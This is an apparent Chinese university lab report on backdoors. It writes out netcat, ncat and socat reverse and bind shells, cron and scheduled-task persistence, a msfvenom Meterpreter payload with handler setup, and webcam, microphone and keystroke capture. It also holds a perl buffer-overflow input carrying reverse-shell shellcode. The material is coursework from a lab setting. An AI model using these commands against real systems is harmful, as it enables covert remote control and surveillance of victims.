《网络对抗技术》20181308Exp2 后门原理与实践

1.实践前的预习准备

1.后门

广义概念
广义概念上的后门,就是不经过正常认证流程而访问系统的通道。
可能存在于以下位置:

  • 编译器留后门
  • 操作系统留后门
  • 应用程序中留后门
  • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

狭义概念
狭义概念上的后门满足以下几个特点:

  • 特指潜伏于操作系统中专门做后门的一个程序
  • 恶意攻击者可以连接这个程序
  • 远程执行各种指令
  • 概念和木马有重叠

2.常用后门工具

  • Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
  • socat:socat是nc的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
  • Meterpreter:具有强大的功能,特别是其socks代理。Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回一个我们控制通道,例如利用远程过程带哦用RPC服务的一个漏洞,当漏洞被触发后,我们选择Meterpreter作为攻击载荷,就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更加深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。


2.实验内容

任务一

Windows获得Linux Shell

首先在Windows中使用ipconfig查看其IP地址
image

从老师所给的链接https://gitee.com/wildlinux/NetSec/attach_files中下载所需内容。
解压后使用ncat.exe程序打开监听ncat.exe -l -p 1308,记得在此之前关闭主机防火墙。

在kali中使用-e选项执行shell程序反弹连接Windows:nc 192.168.3.32 1308 -e /bin/sh

之后就会发现Windows成功获得kali的shell:
image

Linux获得Windows Shell

在kali中使用ifconfig查看ip
记录下这个ip
使用nc -l -p 1308打开kali的监听
在Windows中使用ncat.exe -e cmd.exe 192.168.72.129 1308反弹连接kali

之后就会发现kali成功获得Windows的命令提示
image

启动cron

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
Windows系统下监听端口1308,Linux系统下,输入指令crontab -e并选择3进入编辑模式,crontab指令表示增加一条定时任务,-e表示编辑
进入编辑模式后同vim一样按i进入插入模式,在最后一行添加51 * * * * /bin/netcat 192.168.0.102 5317 -e /bin/sh,这表示每个小时的第51分钟执行后面的那条指令。(51可以是实际操作时间的稍后一会,可以有一个等待准备的过程,当然别太长,要不错了都没反应。。。。。。。)
image

linux在51分钟时连接Windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

使用nc传输数据

Windows下使用ncat.exe -l 1308监听1308端口,kali使用nc 192.168.3.32 1308反弹连接到Windows的1308端口,连接建立成功后双方可互传数据
image

任务二

首先同任务一一样,下载相应内容准备好。
下载完成后打开计算机管理,在“任务计划程序”中“创建任务”,填写任务名并新建一个触发器。
创建任务
image
在操作中的程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:1308 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1308,同时把cmd.exe的stderr重定向到stdout上
image
新建一个触发器,选择按预定计划,开始时间自行确定,其他设置不用改动。
image
注销账户重新登陆后就可以看到任务已经在运行了
(这里因为设置时间的问题更去关注后续的弹窗,没来得及截图)
到达触发时间后任务自动运行
在kali输入指令socat - tcp:192.168.0.102:1308,连接到Windows主机的1308端口,此时可以获得Windows的shell
image

任务三

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用kali攻击win10,首先在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=1308 -f exe > Wuhu20181308.exe,注意这里的IP地址为控制端IP,即kali的IP,后门程序为Wuhu20181308.exe
在Windows下执行ncat.exe -lv 1308 > Wuhu20181308.exe 指令,查看当前的连接状态
在kali中使用nc 192.168.72.129 1308 < Wuhu20181308.exe传输后门程序,传输成功win10的cmd中会出现传输信息
image
在Kali上使用msfconsole指令进入msf控制台

  • 输入use exploit/multi/handler使用监听模块,设置payload

  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

  • set LHOST 192.168.3.32,这里用的是生成后门程序时指定的IP。此处的ip地址也是kali的地址

  • set LPORT 1308,同样要使用相同的端口

使用exploit开始监听,运行Windows中的后门程序
在cmd中运行Windows下的后门程序,这时Kali上获得了Windows主机的shell,经测试可以使用
image

任务四

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取录音权限

输入record_mic可以截取一段音频
image

获取摄像头权限

image

image

获取击键记录

keyscan_start指令可以记录下击键的过程,keyscan_dump则用于读取击键记录
image

查看用户与提权

getuid指令可以查看当前用户,getsystem指令进行提权操作
image

任务五

使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
经过参照学长学姐的总结,我在老师提供的
Shellcode
网站中搜索linux/x86 - Reverse下载了反弹连接的shellcode

之后像实验一一样做好环境配置,确定地址随机化的开启与否,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A" x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf

再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号

之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址

因为地址随机化的关闭,所以01020304地址,shellcode存放位置等内容应该与实验一完全相同。
修改并生成新的input文件。

打开msf控制台依次输入

use exploit/multi/handler,用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1,设置IP为回环地址
set LPORT 4444,根据代码设置端口
exploit ,设置完成开始监听
使用(cat input;cat) | ./pwn1将input输入,通过管道符“|”,作为pwn1的输入。

这时在msf控制台可以看到已经成功调取了shell

image

基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

安装包中放后门然后放到网上供下载。
做其他实验的时候有时候会使用一些比较旧版本的软件,或者破解版本的软件,平时下载东西我们也没有比较杂凑值检验完整性的习惯,如果下载内容被攻击者做了手脚很难发现。

例举你知道的后门如何启动起来(win及linux)的方式?

在实验中我们就已经知道了linux下的cron启动和windows下的任务计划启动。这里我在任务计划启动中设定的是工作站锁定时运行后门程序,工作站锁定时运行也就是此时用户离开电脑,发生的一切基本上是一无所知的。。。

Meterpreter有哪些给你映像深刻的功能?

我觉得本实验中meterpreter所有功能都让人很印象深刻,至少只有获取摄像头的时候我的电脑向我询问了相关权限,其他的如果我是被攻击者那么这一切都会在我完全不知情的情况下进行,我在电脑前说了什么话、输入了那些内容都会暴露在攻击者的面前,这显然严重侵犯了个人隐私权

如何发现自己有系统有没有被安装后门

多检查系统的端口状态、任务状态、安装使用一些专业的防护软件进行检测。

实验收获与感想

在没有进行这次实验之前,其实对后门等知识并没有很深入的了解。当真正了解之后才发觉这个东西的恐怖之处,虽然防火墙是我手动关闭的,但是在电脑没有足够的防护措施的情况下,这些恶意的攻击都会对我们的电脑造成很大的伤害。可能我们还在认为我们很安全地使用电脑,而真正的大佬早已经了解到了我们电脑内的一切,全部都暴露在攻击者面前。所以我们还是要关注电脑的安全问题,加强自己的安全意识,定期检测以防万一。

posted @ 2021-03-28 19:45  无知丶  阅读(110)  评论(0编辑  收藏  举报